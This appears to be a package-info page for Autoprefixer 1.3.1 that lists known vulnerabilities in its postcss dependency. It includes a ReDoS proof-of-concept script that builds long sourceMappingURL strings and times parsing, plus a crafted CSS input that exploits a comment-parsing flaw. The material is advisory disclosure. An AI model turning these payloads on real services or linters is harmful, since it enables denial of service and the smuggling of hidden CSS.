Autoprefixer version 1.3.1 represents a minor update over its predecessor, version 1.3.0, both designed to automatically add vendor prefixes to CSS rules, leveraging data from the "Can I Use" website. This core functionality remains consistent, ensuring developers can write clean, standard CSS and have Autoprefixer handle browser compatibility. Examining the package metadata, the dependencies remain identical: postcss for CSS parsing, fs-extra for file system operations, and caniuse-db for browser support data. The development dependencies, used for testing and building the package, also remain unchanged, including tools like nib, mocha, should, stylus, browserify, and coffee-script.
The key difference lies in the releaseDate. Version 1.3.1 was released on June 22, 2014, a mere two days after version 1.3.0, which was released on June 20, 2014. This strongly suggests that version 1.3.1 includes a bug fix or minor enhancement addressing an issue discovered shortly after the previous release. While the specific nature of the fix isn't explicitly detailed in the metadata, the rapid sequence of releases implies its importance. Developers using Autoprefixer are advised to use the newest version, 1.3.1, as it benefits from any corrections or improvements identified in the brief period following the 1.3.0 release improving project stability.
All the vulnerabilities related to the version 1.3.1 of the package
Regular Expression Denial of Service in postcss
The package postcss versions before 7.0.36 or between 8.0.0 and 8.2.13 are vulnerable to Regular Expression Denial of Service (ReDoS) via getAnnotationURL() and loadAnnotation() in lib/previous-map.js. The vulnerable regexes are caused mainly by the sub-pattern
\/\*\s* sourceMappingURL=(.*)
var postcss = require("postcss")
function build_attack(n) {
var ret = "a{}"
for (var i = 0; i < n; i++) {
ret += "/*# sourceMappingURL="
}
return ret + "!";
}
postcss.parse('a{}/*# sourceMappingURL=a.css.map */') for (var i = 1; i <= 500000; i++) {
if (i % 1000 == 0) {
var time = Date.now();
var attack_str = build_attack(i) try {
postcss.parse(attack_str) var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
} catch (e) {
var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
}
}
}
PostCSS line return parsing error
An issue was discovered in PostCSS before 8.4.31. It affects linters using PostCSS to parse external Cascading Style Sheets (CSS). There may be \r discrepancies, as demonstrated by @font-face{ font:(\r/*);} in a rule.
This vulnerability affects linters using PostCSS to parse external untrusted CSS. An attacker can prepare CSS in such a way that it will contains parts parsed by PostCSS as a CSS comment. After processing by PostCSS, it will be included in the PostCSS output in CSS nodes (rules, properties) despite being originally included in a comment.